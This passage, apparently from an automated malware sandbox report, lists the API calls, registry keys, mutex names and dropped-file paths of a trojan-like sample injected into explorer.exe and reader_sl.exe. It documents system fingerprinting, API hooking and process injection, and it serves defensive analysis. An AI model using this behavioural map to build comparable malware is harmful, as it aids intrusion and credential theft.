      • Part of subcall function 00E49656: CryptAcquireContextW.ADVAPI32(00E4DF1D,00000000,00000000,00000001,F0000040), ref: 00E4966F
      • Part of subcall function 00E49656: CryptCreateHash.ADVAPI32(00E4DF1D,00008003,00000000,00000000,00000030), ref: 00E49687
      • Part of subcall function 00E49656: CryptHashData.ADVAPI32(00000030,00000010,00E4DF1D,00000000), ref: 00E496A3
      • Part of subcall function 00E49656: CryptGetHashParam.ADVAPI32(00000030,00000002,00000030,00000010,00000000), ref: 00E496BB
      • Part of subcall function 00E49656: CryptDestroyHash.ADVAPI32(00000030), ref: 00E496D2
      • Part of subcall function 00E49656: CryptReleaseContext.ADVAPI32(00E4DF1D,00000000), ref: 00E496DC
    • CharLowerA.USER32(00000000), ref: 00E50142
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5C68C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
      • Part of subcall function 00E5C52D: GetComputerNameW.KERNEL32(?,?), ref: 00E5C548
      • Part of subcall function 00E5C52D: GetVersionExW.KERNEL32(?), ref: 00E5C57F
      • Part of subcall function 00E5C52D: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 00E5C5F3
    • GlobalMemoryStatusEx.KERNEL32(?), ref: 00E5C6DD
    • GetVolumeInformationA.KERNEL32(00E37CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00E5C71A
      • Part of subcall function 00E496EA: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00E49703
      • Part of subcall function 00E496EA: CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00E4971B
      • Part of subcall function 00E496EA: CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00E49737
      • Part of subcall function 00E496EA: CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 00E4974F
      • Part of subcall function 00E496EA: CryptDestroyHash.ADVAPI32(?), ref: 00E49766
      • Part of subcall function 00E496EA: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00E49770
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E50C2C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
    • PFXImportCertStore.CRYPT32(?,?,?), ref: 00E50C45
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • GetSystemTime.KERNEL32(?), ref: 00E50C91
      • Part of subcall function 00E50A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00E50B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00E50A23
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E529C7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
    APIs
    • CoCreateInstance.OLE32(00E37228,00000000,00004401,00E37238,?), ref: 00E529F7
    • CoCreateInstance.OLE32(00E371F8,00000000,00004401,00E37208,?), ref: 00E52A4A
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E59B3D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84
    APIs
      • Part of subcall function 00E58AB9: GetTickCount.KERNEL32 ref: 00E58BB5
      • Part of subcall function 00E58AB9: GetUserDefaultUILanguage.KERNEL32 ref: 00E58C06
      • Part of subcall function 00E58AB9: GetModuleFileNameW.KERNEL32(00000000,?,00000103,00000000), ref: 00E58C4B
      • Part of subcall function 00E58AB9: GetUserNameExW.SECUR32(00000002,?,00000104), ref: 00E58C91
    • GetTempFileNameW.KERNEL32(C:\Documents and Settings\Administrator\Application Data\Ozna,pre,00000000,?), ref: 00E59BB9
      • Part of subcall function 00E4FC68: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E4FC91
      • Part of subcall function 00E4E587: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000), ref: 00E4E5A8
      • Part of subcall function 00E4E587: ReadFile.KERNEL32(?,?,00000005,?,00000000), ref: 00E4E5E9
      • Part of subcall function 00E4E587: CloseHandle.KERNEL32 ref: 00E4E5F5
      • Part of subcall function 00E4E587: ReadFile.KERNEL32(?,?,00000005,00000005,00000000), ref: 00E4E664
      • Part of subcall function 00E4E587: SetEndOfFile.KERNEL32 ref: 00E4E68A
      • Part of subcall function 00E4E6B7: FlushFileBuffers.KERNEL32 ref: 00E4E6C3
      • Part of subcall function 00E4E6B7: CloseHandle.KERNEL32 ref: 00E4E6CB
      • Part of subcall function 00E49ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00E49EEB
      • Part of subcall function 00E49ED7: CloseHandle.KERNEL32 ref: 00E49EF6
      • Part of subcall function 00E4E6D5: WriteFile.KERNEL32(?,?,00000005,?,00000000), ref: 00E4E754
      • Part of subcall function 00E4E6D5: WriteFile.KERNEL32(?,00000005,00A00000,00000005,00000000), ref: 00E4E76D
      • Part of subcall function 00E4E6D5: SetEndOfFile.KERNEL32 ref: 00E4E791
      • Part of subcall function 00E4E6D5: FlushFileBuffers.KERNEL32(?), ref: 00E4E799
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E58964: PathRemoveFileSpecW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data\Ozna), ref: 00E589A0
      • Part of subcall function 00E58964: PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 00E589C0
      • Part of subcall function 00E58964: GetFileAttributesW.KERNEL32(C:\Documents and Settings\Administrator\Application Data\Ozna\afmic.kua), ref: 00E589E3
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    Strings
    • pre, xrefs: 00E59BAF
    • C:\Documents and Settings\Administrator\Application Data\Ozna, xrefs: 00E59BB4
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4CB9A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • StringFromGUID2.OLE32(?,00000064,00000028), ref: 00E4CC37
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E50477, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E504BA
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E4C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 00E4C867
      • Part of subcall function 00E4C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 00E4C896
      • Part of subcall function 00E4C842: RegCloseKey.ADVAPI32(?), ref: 00E4C8B6
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E54779, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00E547C7
      • Part of subcall function 00E4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00E4DDB9
      • Part of subcall function 00E4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4DDE0
      • Part of subcall function 00E4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00E4DE2A
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE57
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE87
      • Part of subcall function 00E4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00E4DEB5
      • Part of subcall function 00E4DD7A: FindClose.KERNEL32(?), ref: 00E4DEC7
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E55080, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00E550CE
      • Part of subcall function 00E4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00E4DDB9
      • Part of subcall function 00E4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4DDE0
      • Part of subcall function 00E4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00E4DE2A
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE57
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE87
      • Part of subcall function 00E4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00E4DEB5
      • Part of subcall function 00E4DD7A: FindClose.KERNEL32(?), ref: 00E4DEC7
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4FC68, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E4FC91
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E4C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 00E4C867
      • Part of subcall function 00E4C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 00E4C896
      • Part of subcall function 00E4C842: RegCloseKey.ADVAPI32(?), ref: 00E4C8B6
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4C136, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
    APIs
    • GetTempFileNameW.KERNEL32(?,cab,00000000,?), ref: 00E4C158
      • Part of subcall function 00E4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00E4D95E
      • Part of subcall function 00E4D955: DeleteFileW.KERNEL32(?), ref: 00E4D968
    • PathFindFileNameW.SHLWAPI(?), ref: 00E4C17B
      • Part of subcall function 00E482C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00E482DD
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4D9C8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00E4D9DF
      • Part of subcall function 00E4977E: GetTickCount.KERNEL32 ref: 00E4977E
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
      • Part of subcall function 00E4D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00E4D7C4
      • Part of subcall function 00E4D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00E4D7E7
      • Part of subcall function 00E4D7AA: CloseHandle.KERNEL32 ref: 00E4D7F4
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5690B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
    • GetFileAttributesExW.KERNEL32(?,?,?), ref: 00E56970
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • VirtualAlloc.KERNEL32(?,00001000,00003000,00000004), ref: 00E5694E
    Strings
    • {B60D3CFB-57EE-51EE-A961-10791936558D}, xrefs: 00E56933
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E59E61, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
      • Part of subcall function 00E4BC34: GetTokenInformation.ADVAPI32(00E62AC0,00000001,00000000,00000000,00E62F90), ref: 00E4BC4D
      • Part of subcall function 00E4BC34: GetLastError.KERNEL32(?,00000000,?,?,00E49AD9,00E62AC0,?,?,?,00E37CFB,000000FF,00E62AC0,00E62F90), ref: 00E4BC53
      • Part of subcall function 00E4BC34: GetTokenInformation.ADVAPI32(00E62AC0,00000001,?,00E62F90,00E62F90), ref: 00E4BC79
    • EqualSid.ADVAPI32(?,?), ref: 00E59E86
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E49DBF: LoadLibraryA.KERNEL32(userenv.dll), ref: 00E49DD0
      • Part of subcall function 00E49DBF: GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00E49DEF
      • Part of subcall function 00E49DBF: GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00E49DFB
      • Part of subcall function 00E49DBF: CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00E59EB5,00000000,?,?), ref: 00E49E70
      • Part of subcall function 00E49DBF: CloseHandle.KERNEL32(?), ref: 00E49E83
      • Part of subcall function 00E49DBF: CloseHandle.KERNEL32(?), ref: 00E49E88
      • Part of subcall function 00E49DBF: FreeLibrary.KERNEL32(?), ref: 00E49E9F
    • CloseHandle.KERNEL32(?), ref: 00E59EC7
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4A5AD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
    APIs
      • Part of subcall function 00E4A52D: LoadLibraryA.KERNEL32(urlmon.dll), ref: 00E4A53E
      • Part of subcall function 00E4A52D: GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 00E4A551
      • Part of subcall function 00E4A52D: FreeLibrary.KERNEL32(?), ref: 00E4A5A2
    • GetTickCount.KERNEL32 ref: 00E4A5F2
      • Part of subcall function 00E4A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00E4A44F
      • Part of subcall function 00E4A3FB: Sleep.KERNEL32(?), ref: 00E4A462
      • Part of subcall function 00E4A3FB: InternetCloseHandle.WININET ref: 00E4A4E8
    • GetTickCount.KERNEL32 ref: 00E4A604
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    • http://www.google.com/webhp, xrefs: 00E4A5D2
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4D976, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00E4D98B
    • GetTempFileNameW.KERNEL32(?,tmp,00000000,00E372C4), ref: 00E4D9B4
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E54DF4, Relevance: 5.2, APIs: 4, Instructions: 196
    APIs
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
      • Part of subcall function 00E4D80F: CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 00E4D834
      • Part of subcall function 00E4D80F: GetFileSizeEx.KERNEL32(?,00000000), ref: 00E4D847
      • Part of subcall function 00E4D80F: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00E4D86F
      • Part of subcall function 00E4D80F: ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 00E4D887
      • Part of subcall function 00E4D80F: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00E4D8A1
      • Part of subcall function 00E4D80F: CloseHandle.KERNEL32(00000001), ref: 00E4D8AA
    • StrStrIA.SHLWAPI(?,?), ref: 00E54F1D
    • StrStrIA.SHLWAPI(?,?), ref: 00E54F2F
    • StrStrIA.SHLWAPI(?,?), ref: 00E54F41
    • StrStrIA.SHLWAPI(?,?), ref: 00E54F53
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E4D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00E4D8C8
      • Part of subcall function 00E4D8B7: CloseHandle.KERNEL32(00000001), ref: 00E4D8D6
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
      • Part of subcall function 00E4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00E4DDB9
      • Part of subcall function 00E4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4DDE0
      • Part of subcall function 00E4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00E4DE2A
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE57
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE87
      • Part of subcall function 00E4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00E4DEB5
      • Part of subcall function 00E4DD7A: FindClose.KERNEL32(?), ref: 00E4DEC7
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E583EA, Relevance: 5.1, APIs: 4, Instructions: 63
    APIs
    • EnterCriticalSection.KERNEL32(00E64170,?,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E58407
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • LeaveCriticalSection.KERNEL32(00E64170,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E58428
    • EnterCriticalSection.KERNEL32(00E64170,?,?,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E58439
      • Part of subcall function 00E480EB: HeapAlloc.KERNEL32(00000008,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?,?), ref: 00E4810D
      • Part of subcall function 00E480EB: HeapReAlloc.KERNEL32(00000008,?,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?), ref: 00E4811E
    • LeaveCriticalSection.KERNEL32(00E64170,?,?,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E584C1
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd

    Analysis Process: reader_sl.exe PID: 1744 Parent PID: 212

    Executed Functions

    Function 009F755C, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 197
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 009F7588
    • GetModuleHandleW.KERNEL32(00000000), ref: 009F75A8
    • LoadLibraryA.KERNEL32 ref: 009F760C
    • GetModuleHandleW.KERNEL32(?), ref: 009F7667
    • GetProcAddress.KERNEL32(?), ref: 009F771E
    • GetProcAddress.KERNEL32(?), ref: 009F772F
    • GetProcAddress.KERNEL32(?), ref: 009F7743
    • GetProcAddress.KERNEL32(?), ref: 009F7754
    • GetProcAddress.KERNEL32 ref: 009F7765
    • GetProcAddress.KERNEL32(?), ref: 009F7776
    • GetProcAddress.KERNEL32(?), ref: 009F7787
    • GetProcAddress.KERNEL32(?), ref: 009F7798
    • GetProcAddress.KERNEL32(?), ref: 009F77A9
    • GetProcAddress.KERNEL32(?), ref: 009F77BA
    • GetProcAddress.KERNEL32(?), ref: 009F77CA
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F7BA3, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 155
    APIs
      • Part of subcall function 009F755C: GetModuleHandleW.KERNEL32(?), ref: 009F7588
      • Part of subcall function 009F755C: GetModuleHandleW.KERNEL32(00000000), ref: 009F75A8
      • Part of subcall function 009F755C: LoadLibraryA.KERNEL32 ref: 009F760C
      • Part of subcall function 009F755C: GetModuleHandleW.KERNEL32(?), ref: 009F7667
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F771E
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F772F
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F7743
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F7754
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32 ref: 009F7765
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F7776
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F7787
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F7798
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F77A9
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F77BA
      • Part of subcall function 009F755C: GetProcAddress.KERNEL32(?), ref: 009F77CA
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 009F7BDA
    • GetProcessHeap.KERNEL32 ref: 009F7BE9
    • WSAStartup.WS2_32(00000202,?), ref: 009F7C1C
      • Part of subcall function 00A0977E: GetTickCount.KERNEL32 ref: 00A0977E
    • InitializeCriticalSection.KERNEL32(00A245A0), ref: 009F7C3D
    • GetCurrentProcess.KERNEL32 ref: 009F7C55
    • GetModuleFileNameExW.PSAPI ref: 009F7C5C
      • Part of subcall function 00A04EBF: CharLowerW.USER32 ref: 00A04EF2
      • Part of subcall function 00A10477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A104BA
      • Part of subcall function 009F73FB: GetModuleHandleW.KERNEL32(?), ref: 009F7412
      • Part of subcall function 009F73FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 009F7451
      • Part of subcall function 009F73FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 009F7467
      • Part of subcall function 00A1C68C: GlobalMemoryStatusEx.KERNEL32(?), ref: 00A1C6DD
      • Part of subcall function 00A1C68C: GetVolumeInformationA.KERNEL32(009F7CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00A1C71A
    • CreateEventW.KERNEL32(00A22AFC,00000001,00000000,00000000), ref: 009F7CD5
      • Part of subcall function 00A09AB7: OpenProcessToken.ADVAPI32(00A22AC0,00000008,00A22AC0), ref: 00A09AC7
      • Part of subcall function 00A09AB7: GetTokenInformation.ADVAPI32(00A22AC0,0000000C,00000000,00000004,00A22F90), ref: 00A09AF3
      • Part of subcall function 00A09AB7: CloseHandle.KERNEL32(00A22AC0), ref: 00A09B08
    • GetLengthSid.ADVAPI32(?,000000FF,00A22AC0,00A22F90), ref: 009F7D0A
      • Part of subcall function 009F787A: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 009F7898
      • Part of subcall function 009F787A: PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 009F78A7
      • Part of subcall function 009F787A: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 009F78BB
    • GetCurrentProcessId.KERNEL32 ref: 009F7D37
      • Part of subcall function 009F78DB: IsBadReadPtr.KERNEL32(?,?), ref: 009F7909
      • Part of subcall function 00A0CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 00A0CC37
      • Part of subcall function 009F792D: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 009F796A
      • Part of subcall function 009F792D: lstrcmpiW.KERNEL32(?,?), ref: 009F7994
      • Part of subcall function 009F79BF: InitializeCriticalSection.KERNEL32(00A24170), ref: 009F79D6
      • Part of subcall function 009F79BF: InitializeCriticalSection.KERNEL32(00A23FEC), ref: 009F7A0B
      • Part of subcall function 009F79BF: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009F7A33
      • Part of subcall function 009F79BF: ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 009F7A50
      • Part of subcall function 009F79BF: CloseHandle.KERNEL32 ref: 009F7A61
      • Part of subcall function 009F79BF: InitializeCriticalSection.KERNEL32(00A23F6C), ref: 009F7AA8
      • Part of subcall function 009F79BF: GetModuleHandleW.KERNEL32(?), ref: 009F7ACF
      • Part of subcall function 009F79BF: GetModuleHandleW.KERNEL32(?), ref: 009F7AD8
    Strings
    • {B60D3CFB-57EE-51EE-A961-10791936558D}, xrefs: 009F7D82
    • SOFTWARE\Microsoft\Fyfe, xrefs: 009F7DD2
    • \, xrefs: 009F7C71
    • Global\{F0DDC10A-AA1F-173E-A961-10791936558D}, xrefs: 009F7DCC
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F88DB, Relevance: 13.6, APIs: 9, Instructions: 128
    APIs
      • Part of subcall function 009F7BA3: HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 009F7BDA
      • Part of subcall function 009F7BA3: GetProcessHeap.KERNEL32 ref: 009F7BE9
      • Part of subcall function 009F7BA3: WSAStartup.WS2_32(00000202,?), ref: 009F7C1C
      • Part of subcall function 009F7BA3: InitializeCriticalSection.KERNEL32(00A245A0), ref: 009F7C3D
      • Part of subcall function 009F7BA3: GetCurrentProcess.KERNEL32 ref: 009F7C55
      • Part of subcall function 009F7BA3: GetModuleFileNameExW.PSAPI ref: 009F7C5C
      • Part of subcall function 009F7BA3: CreateEventW.KERNEL32(00A22AFC,00000001,00000000,00000000), ref: 009F7CD5
      • Part of subcall function 009F7BA3: GetLengthSid.ADVAPI32(?,000000FF,00A22AC0,00A22F90), ref: 009F7D0A
      • Part of subcall function 009F7BA3: GetCurrentProcessId.KERNEL32 ref: 009F7D37
    • SetErrorMode.KERNEL32(00008007), ref: 009F8902
    • GetCommandLineW.KERNEL32 ref: 009F890C
    • CommandLineToArgvW.SHELL32 ref: 009F8913
    • ExitProcess.KERNEL32(00000000,00000000), ref: 009F89B3
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,00000040,?), ref: 009F8A5C
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,?,?), ref: 009F8A75
    • CreateThread.KERNEL32(00000000,00000000,Function_00008533,00000000), ref: 009F8A96
    • NtClose.NTDLL(?,?,00000000), ref: 009F8A9E
    • Sleep.KERNEL32(0000000A), ref: 009F8AAD
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0BB34, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
    APIs
